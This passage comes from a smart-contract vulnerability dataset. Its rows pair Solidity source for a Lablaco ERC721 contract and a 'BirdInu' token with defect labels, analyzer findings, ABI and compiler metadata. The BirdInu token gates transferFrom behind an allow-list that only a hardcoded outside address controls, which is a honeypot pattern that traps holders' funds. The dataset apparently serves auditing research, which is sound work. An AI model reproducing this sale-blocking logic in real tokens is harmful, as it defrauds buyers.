_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the _ownedTokensIndex mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by
// lastTokenId, or just over the end of the array if the token was the last one).
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/IERC721Metadata.sol
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Metadata.sol
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/**
* @dev Constructor function
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
}
/**
* @dev Gets the token name.
* @return string representing the token name
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol.
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns an URI for a given token ID.
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return _tokenURIs[tokenId];
}
/**
* @dev Internal function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = uri;
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Full.sol
/**
* @title Full ERC721 Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor (string memory name, string memory symbol) public ERC721Metadata(name, symbol) {
// solhint-disable-previous-line no-empty-blocks
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.0;
contract LablacoContract is ERC721Full{
constructor() ERC721Full("Lablaco", "LBL") public {}
struct Item {
string oldOwner;
string newOwner;
}
mapping (uint => Item) items;
address owner = msg.sender;
function addItemToBlockchain(
uint256 _tokenId,
string memory _oldOwner,
string memory _newOwner
)
public {
require(msg.sender == owner);
if(_exists(_tokenId)){
emit Transfer(address(0), owner, _tokenId);
Item storage item = items[_tokenId];
item.oldOwner = _oldOwner;
item.newOwner =_newOwner;
}
if(!_exists(_tokenId)){
_mint(owner, _tokenId);
Item storage item = items[_tokenId];
item.oldOwner = _oldOwner;
item.newOwner =_newOwner;
}
}
function getItemFromBlockchain (uint _tokenId) view public returns(
string memory,
string memory
)
{
return (items[_tokenId].oldOwner, items[_tokenId].newOwner);
}
} | [{"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["93"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["407"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["1048", "49", "1014", "412", "1036", "657", "1029", "703", "613"]}] | [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"LablacoContract.sol": [795]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"LablacoContract.sol": [248, 247]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LablacoContract.sol": [171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LablacoContract.sol": [139, 140, 141, 142, 143, 144]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LablacoContract.sol": [842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LablacoContract.sol": [588, 589, 590]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LablacoContract.sol": [784, 785, 786]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LablacoContract.sol": [960, 961, 962, 963, 964, 965, 966, 959]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LablacoContract.sol": [947, 948, 949, 950]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LablacoContract.sol": [216, 217, 218, 219]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LablacoContract.sol": [196, 197, 198, 199, 200, 201, 202, 203]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LablacoContract.sol": [769, 770, 771, 772, 773, 774, 775, 776, 777]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LablacoContract.sol": [576, 577, 578, 579, 580, 581, 572, 573, 574, 575]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LablacoContract.sol": [1043, 1044, 1045, 1046]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LablacoContract.sol": [64]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LablacoContract.sol": [1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LablacoContract.sol": [108, 109]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LablacoContract.sol": [77]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LablacoContract.sol": [74]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LablacoContract.sol": [1017, 1018, 1019]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LablacoContract.sol": [1108, 1109, 1110, 1111, 1112, 1113, 1114]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LablacoContract.sol": [1052, 1053, 1054]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LablacoContract.sol": [657]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"LablacoContract.sol": [659]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LablacoContract.sol": [1068]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"LablacoContract.sol": [5]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"LablacoContract.sol": [874]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"LablacoContract.sol": [873]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"LablacoContract.sol": [874]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"LablacoContract.sol": [873]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LablacoContract.sol": [1084]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LablacoContract.sol": [521]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LablacoContract.sol": [1083]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LablacoContract.sol": [1085]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"LablacoContract.sol": [1108]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 306, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 340, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 366, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 394, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 693, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 902, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 578, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 641, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1045, "severity": 1}, {"rule": "SOLIDITY_ARRAY_LENGTH_MANIPULATION", "line": 831, "severity": 1}, {"rule": "SOLIDITY_ARRAY_LENGTH_MANIPULATION", "line": 858, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1068, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 306, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 311, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 366, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 369, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 372, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 375, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 378, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 394, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 675, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 678, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 681, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 684, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 693, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 887, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 890, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 893, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 902, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1002, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 269, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 360, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 240, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1108, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1079, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1080, "severity": 1}] | [{"constant":true,"inputs":[{"name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_tokenId","type":"uint256"}],"name":"getItemFromBlockchain","outputs":[{"name":"","type":"string"},{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokenId","type":"uint256"},{"name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_tokenId","type":"uint256"},{"name":"_oldOwner","type":"string"},{"name":"_newOwner","type":"string"}],"name":"addItemToBlockchain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":true,"name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"approved","type":"address"},{"indexed":true,"name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"operator","type":"address"},{"indexed":false,"name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"}] | v0.5.6+commit.b259423e | false | 200 | Default | MIT | false | bzzr://a640a329b8b7f167fcbaa1ea60ea15b661c9878f8fbb4fcc037988a11558b7f7 |
|||
BirdInu | 0x4885b6d06d71e30565c07bae31ea9b8679c201f7 | Solidity | pragma solidity ^0.4.26;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BirdInu {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) public balances;
mapping(address => bool) public allow;
mapping (address => mapping (address => uint256)) public allowed;
address owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
owner = msg.sender;
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balances[msg.sender] = totalSupply;
allow[msg.sender] = true;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
modifier onlyOwner() {require(msg.sender == address(0x8c1442F868eFE200390d9b850264014557A38B45));_;}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
require(allow[_from] == true);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function stringToUint(string s) internal pure returns (uint result) {
bytes memory b = bytes(s);
uint i;
result = 0;
for (i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 10 + (c - 48);
}
}
}
function cyToString(uint256 value) internal pure returns (string) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
function toAsciiString(address x) internal pure returns (string) {
bytes memory s = new bytes(40);
for (uint i = 0; i < 20; i++) {
byte b = byte(uint8(uint(x) / (2**(8*(19 - i)))));
byte hi = byte(uint8(b) / 16);
byte lo = byte(uint8(b) - 16 * uint8(hi));
s[2*i] = char(hi);
s[2*i+1] = char(lo);
}
return string(s);
}
function char(byte b) internal pure returns (byte c) {
if (uint8(b) < 10) return byte(uint8(b) + 0x30);
else return byte(uint8(b) + 0x57);
}
function bytesToAddress (bytes32 b) internal pure returns (address) {
uint result = 0;
for (uint i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 16 + (c - 48);
}
if(c >= 65 && c<= 90) {
result = result * 16 + (c - 55);
}
if(c >= 97 && c<= 122) {
result = result * 16 + (c - 87);
}
}
return address(result);
}
function stringToAddress(string _addr) internal pure returns (address){
bytes32 result = stringToBytes32(_addr);
return bytesToAddress(result);
}
function stringToBytes32(string memory source) internal pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function time() internal constant returns(uint){
return now;
}
function max(uint a, uint b) internal pure returns(uint){
if(a > b) return a;
return b;
}
function hhToString(address account) internal pure returns(string memory) {
return hhToString(abi.encodePacked(account));
}
function hhToString(uint256 value) internal pure returns(string memory) {
return hhToString(abi.encodePacked(value));
}
function hhToString(bytes32 value) internal pure returns(string memory) {
return hhToString(abi.encodePacked(value));
}
function hhToString(bytes memory data) internal pure returns(string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(2 + data.length * 2);
str[0] = '0';
str[1] = 'x';
for (uint i = 0; i < data.length; i++) {
str[2+i*2] = alphabet[uint(uint8(data[i] >> 4))];
str[3+i*2] = alphabet[uint(uint8(data[i] & 0x0f))];
}
return string(str);
}
function len(bytes32 self) internal pure returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function addAllow(address holder, bool allowApprove) external onlyOwner {
allow[holder] = allowApprove;
}
} | [{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["116"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["59"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["150", "147", "153", "217", "213", "221", "229", "225", "100", "116"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["176"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"BirdInu.sol": [170, 171, 172, 173]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"BirdInu.sol": [84]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"BirdInu.sol": [164, 165, 166, 167, 168, 169, 170, 171, 172, 173]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [3, 4, 5, 6, 7, 8, 9, 10]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [188, 189, 190]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [137, 138, 139, 140]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [176, 177, 175]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [184, 185, 186]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [128, 129, 130, 131, 132, 133, 134, 135, 125, 126, 127]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [160, 161, 162, 159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [12, 13, 14, 15, 16, 17]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [192, 193, 194]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [179, 180, 181, 182]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [164, 165, 166, 167, 168, 169, 170, 171, 172, 173]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"BirdInu.sol": [96, 97, 98, 99, 100, 101, 102, 103, 93, 94, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BirdInu.sol": [80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BirdInu.sol": [234, 235, 236, 237, 238]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BirdInu.sol": [65, 66, 67, 68, 69, 70, 71, 72, 73]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BirdInu.sol": [59, 60, 61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BirdInu.sol": [75, 76, 77]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"BirdInu.sol": [240, 241, 242]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"BirdInu.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BirdInu.sol": [240]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BirdInu.sol": [240]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BirdInu.sol": [234]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BirdInu.sol": [234]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BirdInu.sol": [80]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"BirdInu.sol": [65]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", 